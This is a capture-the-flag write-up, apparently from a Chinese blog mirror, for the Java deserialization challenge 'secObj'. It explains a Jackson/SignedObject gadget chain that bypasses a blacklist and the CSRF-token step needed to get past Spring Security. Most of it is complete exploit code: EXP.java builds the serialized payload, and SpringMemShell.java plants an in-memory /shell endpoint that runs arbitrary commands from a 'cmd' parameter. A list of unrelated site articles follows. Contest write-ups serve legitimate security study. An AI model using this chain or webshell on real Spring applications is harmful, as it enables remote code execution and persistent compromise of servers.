【Web】2023浙江大学生省赛初赛 secObj 题解

news2025/1/11 17:09:54

目录

step 0

step 1

step 2

step 3


题目本身是不难,简单复健一下

step 0

pom依赖就是spring

反序列化入口在./admin/user/readObj 

输入流做了黑名单的过滤,TemplatesImpl不能直接打

可以jackson打SignedObject二次反序列化绕过 

具体原理看下面这篇文章

【Web】浅聊Jackson序列化getter的利用——POJONode_jackson反序列化调用getter-CSDN博客

step 1

上面那篇文章其实唯一要我们去思考的点就是如何触发toString,方法很多,具体看下面这篇文章

【Web】浅聊Java反序列化之Rome——关于其他利用链-CSDN博客

 javax.management被ban了,所以不能用javax.management.BadAttributeValueExpException作为入口

考虑到spring依赖,可以打HotSwappableTargetSource利用链,这里套两次就可

HashMap#readObject -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString#equals 
-> POJONode#toString -> SignedObject#getObject 
-> HashMap#readObject -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString#equals 
-> TemplatesImpl#getOutputProperties

 注意靶机不出网,所以考虑注内存马或打spring回显类

step 2

直接访问./admin/user/hello是可以直接绕过鉴权的

 但若直接post传参会报403,原因是Spring Security默认会开启csrf验证,防止csrf攻击

./login随便输入内容尝试登录,会发现post中存在_csrf字段 

 

所以我们打入payload时也要附带上_csrf和配套的JSESSIONID

step 3

EXP.java

package com.example.demo.exp;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class EXP {
    public static void main(String[] args) throws Exception {
        // 删除 BaseJsonNode#writeReplace 方法
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        // 靶机不出网,打Spring内存马
        byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "xxx");
        setFieldValue(templatesImpl, "_tfactory", null);

        // 内层 HashMap#readObject -> TemplatesImpl#getTransletInstance
        POJONode inJsonNodes = new POJONode(makeTemplatesImplAopProxy(templatesImpl));
        HotSwappableTargetSource inHotSwappableTargetSource1 = new HotSwappableTargetSource(inJsonNodes);
        HotSwappableTargetSource inHotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("xxx"));
        HashMap inHashMap = makeMap(inHotSwappableTargetSource1, inHotSwappableTargetSource2);

        // SignedObject#getObject -> 内层 HashMap#readObject
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(inHashMap, privateKey, signingEngine);

        // 外层 HashMap#readObject -> SignedObject#getObject
        POJONode jsonNodes = new POJONode(signedObject);
        HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(jsonNodes);
        HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("xxx"));
        HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);

        // 序列化外层 HashMap#readObject
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();

        String res = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(res);
    }
    // 解决 jackson 链不稳定性问题(当然,如果运气好,不用它也行)
    public static Object makeTemplatesImplAopProxy(Templates templates) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
}

SpringMemShell.java

package com.example.demo.exp;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringMemShell extends AbstractTranslet{
    static {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = RequestMappingInfo.paths("/shell")
                    .options(config)
                    .build();
            SpringMemShell springControllerMemShell = new SpringMemShell();
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

        } catch (Exception hi) {
//            hi.printStackTrace();
        }
    }

    public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
        if (request.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

url一次编码后在./admin/user/readObj打入payload

成功写入内存马,命令执行拿flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1661416.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

选择定制温度快速温变试验箱,为您开启高效试验新时代

在现代工业生产中&#xff0c;温度快速温变试验是评估产品性能和可靠性的重要手段之一。然而&#xff0c;市面上有大多数企业在选择试验设备时常常面临着一些困惑&#xff0c;那就是温度快速温变试验箱定制的性能与需求不匹配、定制服务不足、售后服务不到位等等。针对这些问题…

98、技巧-颜色分类

思路 这道题的思路是什么&#xff0c;首先典型荷兰国旗问题&#xff1a; 该问题的关键在于我们要将所有的0放到数组的前部&#xff0c;所有的1放在中间&#xff0c;所有的2放在后部。这可以通过使用两个指针&#xff0c;一个指向数组开头的“0”的最后一个位置&#xff0c;另…

第十一篇:操作系统新纪元:智能融合、量子跃迁与虚拟现实的交响曲

操作系统新纪元&#xff1a;智能融合、量子跃迁与虚拟现实的交响曲 1 引言 在数字化的浪潮中&#xff0c;操作系统如同一位智慧的舵手&#xff0c;引领着信息技术的航船穿越波涛汹涌的海洋。随着人工智能、物联网、量子计算等前沿技术的蓬勃发展&#xff0c;操作系统正站在一个…

【智能优化算法】金豺狼优化算法(Golden jackal optimization,GJO)

金豺狼优化(Golden jackal optimization,GJO)是期刊“Expert Systems with Applications”&#xff08;中科院一区IF 8.3&#xff09;的2022年智能优化算法 01.引言 金豺狼优化(Golden jackal optimization,GJO)旨在为解决实际工程问题提供一种替代的优化方法。GJO的灵感来自金…

鸿蒙开发接口Ability框架:【@ohos.application.Want (Want)】

Want Want模块提供系统的基本通信组件的能力。 说明&#xff1a; 本模块首批接口从API version 8 开始支持。后续版本的新增接口&#xff0c;采用上角标单独标记接口的起始版本。 导入模块 import Want from ohos.application.Want; 开发前请熟悉鸿蒙开发指导文档&#xff1…

dev c++调试录入数字后回车直接关闭

1、我的dev c版本是5.11 2、输入7后&#xff0c;回车就没有了&#xff0c;原因是1013,1.cpp未包含在项目中 3、新建项目&#xff0c;并将test_debug.cpp包含在项目内&#xff0c;就可以下断点调试了

C语言—深入理解指针(3)

1.字符指针变量 一般使用&#xff1a; 另一种使用方法&#xff1a; “hello world”是一个常量字符串&#xff0c;不能被修改。 上述代码是将字符串中的首字符‘h’赋值给指针pstr&#xff0c;用%s打印字符串的时候&#xff0c;只需要提供首字符的地址就行。&#xff08;如果…

PPT基础

5种ppt仅可读形式 Ⅰ 开始选项卡 1.【幻灯片】组中&#xff1a;新建幻灯片&#xff0c;从大纲中导入幻灯片&#xff1b;修改幻灯片的版式&#xff1b;节&#xff08;新增节&#xff0c;重命名节&#xff09;。 2.【字体】组中&#xff1a;设置字体&#xff0c;字体大小&…

腾讯云coding代码托管平台配置问题公钥拉取失败提示 Permission denied(publickey)

前言 最近在学校有个课设多人开发一个游戏&#xff0c;要团队协作&#xff0c;选用了腾讯云的coding作为代码管理仓库&#xff0c;但在配置的时候遇到了一些问题&#xff0c;相比于github&#xff0c;发现腾讯的coding更难用&#xff0c;&#xff0c;&#xff0c;这里记录一下…

华为 Huawei 交换机 配置 Dot1q 终结子接口实现同设备 VLAN 间通信示例

组网需求 企业的不同部门拥有相同的业务&#xff0c;如上网、 VoIP 等业务&#xff0c;且各个部门中的用户位于不同的网段。目前存在不同的部门中相同的业务所属的VLAN 不相同&#xff0c;现需要实现不同VLAN中的用户相互通信。 如 图 7-7 所示&#xff0c;部门 1 和部门 2 中…

VM虚拟机安装调试(步骤如下图)

VM虚拟机安装调试 随着一顿安装操作&#xff0c;还有enter键敲下&#xff0c;出现如下界面。

Android 11 输入系统之InputDispatcher和应用窗口建立联系

InputDispatcher把输入事件传给应用之前&#xff0c;需要和应用窗口建立联系&#xff0c;了解了这个过程&#xff0c;就清楚了APP进程和InputDispatcher线程也就是SystemServer进程之间是如何传输数据了 我们向窗口addView的时候&#xff0c;都会调用到ViewRootImpl的setView方…

车载测试__公司面试题(整理)

案例1&#xff1a; 镁佳 外包岚图汽车 车载测试 区域经理视频面试 1.首先自我介绍一下 2.项目是怎么测的举例说明 3.你是怎么看待加班的 4.你是怎么看待驻场单位 5.是否可以接受外派去做一段时间的技术支持&#xff0c;比如去襄阳&#xff0c;最长一个月。 6.多快能到…

IDEA无法下载远程仓库jar包问题

问题描述&#xff1a; idea无法下载远程仓库jar包&#xff0c;最奇怪的是idea有多个项目&#xff0c;有些项目可以下载&#xff0c;有些项目不行。报错如下&#xff1a; 一开始&#xff1a; unable to find valid certification path to requested target Try run Maven impo…

open-webui+ollama本地部署Llama3

前言 Meta Llama 3 是由 Meta 公司发布的下一代大型语言模型&#xff0c;拥有 80 亿和 700 亿参数两种版本&#xff0c;号称是最强大的开源语言模型。它在多个基准测试中超越了谷歌的 Gemma 7B 和 Mistral 7B Instruct 模型。 安装 1.gpt4all https://github.com/nomic-ai/…

第十一章 项目风险管理

11.1 规划风险管理 11.2 识别风险 11.3 实施定性风险分析 11.4 实施定量风险分析 11.5 规划风险应对 11.6 实施风险应对 11.7监督风险 风险是&#xff1a;0<发生概率<1的事(未来可能发生或可能不发生的事件)->风险登记册 问题是&#xff1a;发生概率1(一定发生…

微软必应bing国内广告开户费用?如何开户投放?

当下搜索引擎广告无疑是企业触达潜在客户、提升品牌曝光度的重要途径之一&#xff0c;微软必应&#xff08;Bing&#xff09;作为全球第二大搜索引擎&#xff0c;尽管在国内市场份额上可能不敌某些本土巨头&#xff0c;但其独特的用户群体和国际影响力使其成为众多企业拓展市场…

力扣每日一题37:解数独

目录 题目 大致思路 方法一&#xff1a;回溯剪枝&#xff08;正常人能想出来的&#xff09; 方法二&#xff1a;位运算优化剪枝 需要使用的位运算技巧 代码 位运算怎么就优化了呢&#xff1f; 方法三&#xff1a;枚举优化。 官解代码 方法四&#xff1a;舞蹈链算法 题…

《ESP8266通信指南》15-MQTT连接、订阅MQTT主题并打印消息(基于Lua|适合新手|非常简单)

往期 《ESP8266通信指南》14-连接WIFI&#xff08;基于Lua&#xff09;-CSDN博客 《ESP8266通信指南》13-Lua 简单入门&#xff08;打印数据&#xff09;-CSDN博客 《ESP8266通信指南》12-Lua 固件烧录-CSDN博客 《ESP8266通信指南》11-Lua开发环境配置-CSDN博客 《ESP826…

XTuner笔记

为什么要微调&#xff1a; 1. 模型不具备一些私人定制的知识 2。模型回答问题的套路你不满意。 对应衍生出来两种概念 增量预训练微调&#xff1a; 使用场景&#xff1a;让基座模型学习到一些新知识&#xff0c;如某个垂类领域的常识训练数据&#xff1a;文章、书籍、代码等…